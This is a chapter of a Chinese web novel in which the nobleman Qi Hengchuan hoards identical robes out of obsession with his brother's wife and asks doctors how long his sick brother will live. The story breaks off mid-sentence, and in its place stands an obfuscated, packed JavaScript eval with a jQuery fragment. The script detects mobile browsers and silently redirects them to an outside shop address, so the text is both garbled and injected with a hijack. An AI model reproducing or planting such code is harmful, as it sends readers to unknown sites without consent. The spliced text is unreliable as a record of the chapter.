得知祁珩川的要求后,绣房的绣娘精益求精,联合宫中的御用绣娘一起,又赶制了七十件霁青直裰。
在九九重阳节当天,她们将这七十件霁青直裰送到了西院的书房。
祁珩川勉强满意。
他收下这七十五件霁青直裰后,终于不再让绣房绣霁青直裰。并且,他给绣娘们加了条霸道蛮横的命令:他不允许再有人穿着或者制作这件霁青直裰。
换而言之,哪怕各院主子只是想要这件霁青直裰的布帛或绸缎,也是不行的。因为这些,都只属于一个人。
属于齐国公府未来的主人,现在的齐国公世子,祁珩川。
祁珩川挥退绣房的掌事姑姑和绣娘们,命令小厮们进来,重新布置了书房。
祁珩川所拥有的这间书房,乃是齐国公府所有房间中,规制最大的一处。前为书案,后为藏书,中间有一张卧榻,供人休息。
祁珩川政务繁重,有时累得很了,或是懒得去卧房,就直接歇在书房。
他没有动后面藏书的区域,毕竟这浩如烟海的书卷、排列整齐的书柜,若是动工,必定是件大工程,还不知要等到何年何月。
他调整了书房前头的布局,减小了书案所占用的空间。他的书案,原本有许多空余,他索性换了张书案。
此外,他发觉,书房前头空落落的。他令小厮挪动盆景,使得前头腾出了些空间。
书房前头多出来的空间,都被祁珩川用到了中间的卧榻处。如今,卧榻所在的空间,成了书房最大的区域。
祁珩川要小厮细细地装上玉帛珠帘。
这匹玉帛,不是什么旁的东西,是独属于祁珩川的念想。
他取来最精致的绫罗绸缎,又将无数完好无缺的玉佩砸碎。然后小心翼翼地,将这些碎玉,镶嵌在这些绢帛之上。
碎玉冷冽坚硬,布帛柔软飘逸,相斥相依,矛盾着,却让人沉溺其中,无可自拔。
细碎的玉片嵌在云锦之间,像是夜幕中闪烁的星辰,耀眼而不刺目。
这就是玉帛。
独属于祁珩川的玉帛。
这玉帛中,藏匿着的,是他不知从何而升起的爱意。
祁珩川目光缱绻,神色温柔。他轻轻抬起手,手指微微拨了一下。
珠帘晃动,质地透亮的玉珠与玉珠之间碰撞,发出脆生生的声音。像是大珠小珠落玉盘,连绵不休。那声音浮在半空中,又跌落下去,碎成了一地清音。
有光线穿过层层幔帐,落在数不清的珠子上,一道又一道地折射,忽明忽暗,明明灭灭,光影斑驳。一室寂静好像漾开一圈圈看不见的涟漪,莫名有了生气。
不知从哪里来的一缕风,悄悄穿过窗棂的缝隙,拂动了那匹玉帛。玉帛上嵌着的碎玉与珠帘间的玉珠轻轻相撞,发出细碎的声响,仿佛在争较谁才是这满室珠玉中最无瑕的一枚。
穿过玉帛与珠帘,便见一张卧榻,十五架衣桁。衣桁者,与衣架相类,用以悬衣。这每一架衣桁,都挂着五件霁青直裰。
此刻,那些衣桁之上,齐齐整整地悬满了祁珩川新得的七十五件霁青直裰。
为了给十五架衣桁腾出位置,这间中房,除了放置一张卧榻,其余的,干干净净,居然什么也没有。
祁珩川的这间中房,乍一入眼,便觉得有些昏沉。再仔细打量,更觉得万分骇人。
除了他祁珩川,哪个正常人会这么摆放?
七十五件,无一例外,全是霁青直裰。
霁青色,密密匝匝地铺满了视线,没有第二种颜色,没有第二种纹理,连悬挂的间距都像是用尺子量过的。
单调到极致,反而生出一种诡异的压迫感,仿佛无数个一模一样的影子叠在一起,沉默地、固执地占据着这间屋子。
霁青直裰活了过来,“他们”带着经年累月的野望与期待、执迷与不悟,好像在等一个人,在等一个不归人,在等一个永远不会踏足这里的人。
是矩阵,似迷宫,更是执念——逃不开,也躲不过。
这本应是放松的地方,却因为祁珩川的执拗,生生变成了囚笼。他画地为牢,固执地自囚,只为了求一个结果。
为了让这些霁青直裰一尘不染,祁珩川亲自将一层薄薄的透明绢纱覆盖在这些霁青直裰上。
他珍爱这七十五件霁青直裰,就如同珍惜他自己。不,应该说,他爱这七十五件霁青直裰,更胜于他自己。
这七十五件霁青直裰,不止是七十五件衣裳,更是他的指望。
除了与这霁青直裰有关的回忆,除了那场初见与邂逅,祁珩川不知道,他与玉微瑕之间,还剩下什么。
有时候,祁珩川也想问自己。
为什么,他会落得如此狼狈的地步?
又为什么,他会变得如此疯魔,疯魔到连他自己都快不认识自己了?
明明知道她不喜欢,她会冷眼相待,却还要往上凑;明知道是空等,却还站在这风口——他是嫌自己不够可笑么?
若是旁人知道他齐国公世子,做出如此下贱之事,那他的威严何在,他的权柄又何在?
不,他不该的。
他早应该放下。
可是,他放不下。
他放不下,可那又如何?罗敷有夫,他没机会了。这场无望的等待,在最开始,就注定了结局。
不。
不是无望。
不是可笑。
也不是他犯贱。
他一定可以做得到。
祁珩川猛地攥紧了袖中的手指,像溺水的人抓住最后一根浮木,死死地、不甘心地攥着那个念头——不是无望。
只要人还活着,就有机会。
就比如他,身强体壮,能活上许多年。一些人,一些事,纵然此时得不到,却并不意味着此世都得不到。
他可以等。
等到沧海桑田,等到斗转星移,等到时过境迁,等到该死的都死了,而活着的,还活着。
他会等到的。
反之,只要人死了,就什么机会也没有了。
就如那句话说得好——人死,如灯灭。
人死。
如灯灭。
祁珩川倏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563236|204608||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地抬眼,眸中翻涌着暗沉的光。
“去叫所有府医过来。”
他大步流星地跨出中房,冷着脸,对郑同低声吩咐。
府医?
世子爷病了?
郑同挠头,悄悄抬眼看祁珩川。
祁珩川中气十足,语气掷地有声,哪哪都好得很。
这不像是在求医,倒像是在下一道生死令——若是敢有不来的府医,他定要他们好看。
这样的命令一下,谁敢不来?
片刻后,府医都来到了书房。他们跪在祁珩川面前,冷汗淋漓,生怕这个活阎王发怒。
没有人敢抬眼。
只听见上头敲了两下案桌,然后低沉的、意味不明的声音传来:“……大公子的病,如何了?”
几乎所有府医都松了口气。
还以为是什么呢。
世子爷关心大公子,看来,流言不可信呀。瞧瞧,大公子与世子爷,多么兄友弟恭。
府医中有会钻营的,眼珠子滴溜溜一转,安慰的话便脱口而出:“世子爷莫要忧心,大公子的病只是看着重。实际上,若是好生养着,便不会有事。这几年在清晏别苑,有玉少夫人的照料,大公子的身子已然好了许多。”
说罢,那名府医忍不住抬头,等着祁珩川的赏赐。他说得这样好,世子爷满意了罢?大公子不会有事,世子爷的心才能放宽。
谁知,他对上了一双戾气十足的眼眸。那里面,没有一丝一毫的欢喜,只有冰凉的寒意,像被什么无形的脏东西攀上了脊背。
府医愕然。
他,他说得不好么,为什么世子爷会这样……
还不等这名府医想通,祁珩川的驱逐声已然响起。
“滚出去。”
祁珩川毫不留情,三个字凉飕飕地砸下来。
府医脸色一白,灰溜溜离开。他一走,其余的府医都蔫儿了。无论是想讨巧的,还是不想讨巧的,都明白,祁珩川想听的是真话。至于他为什么想听真话,那就不得而知,且不是他们应该关心的问题。
枪打出头鸟之后,没有府医敢出头。
祁珩川不语,可他的怒火越来越盛。终于,在他的怒火濒临爆发前,一位老道的、姓桦的、一板一眼的府医起身了。
桦府医不善言辞,却字字珠玑:“启禀世子爷,大公子的身子骨本就不好,这几年更是。虽然表面上看着与常人无异,但他的底子越来越亏虚。”
“曾经有大师为大公子批命,‘二十四止’……”桦府医停顿了下,艰难地开口,“其实是对的。现如今,大公子每活一日,便是向老天爷借命一日。”
“我等虽没有大师厉害,能算出大公子的阳寿。然而,依照我等的推断,大公子恐怕,至多活不过……三十岁。这还是多的,若算少的,便是明日,也是可能的。”
桦府医见过生离死别,此刻,长叹一口气,唯有说一句:“还望世子爷节哀。”
他以为祁珩川会伤感,谁知,祁珩川只是怔住,呢喃着:“三十岁么……”
却似毫不上心的模样。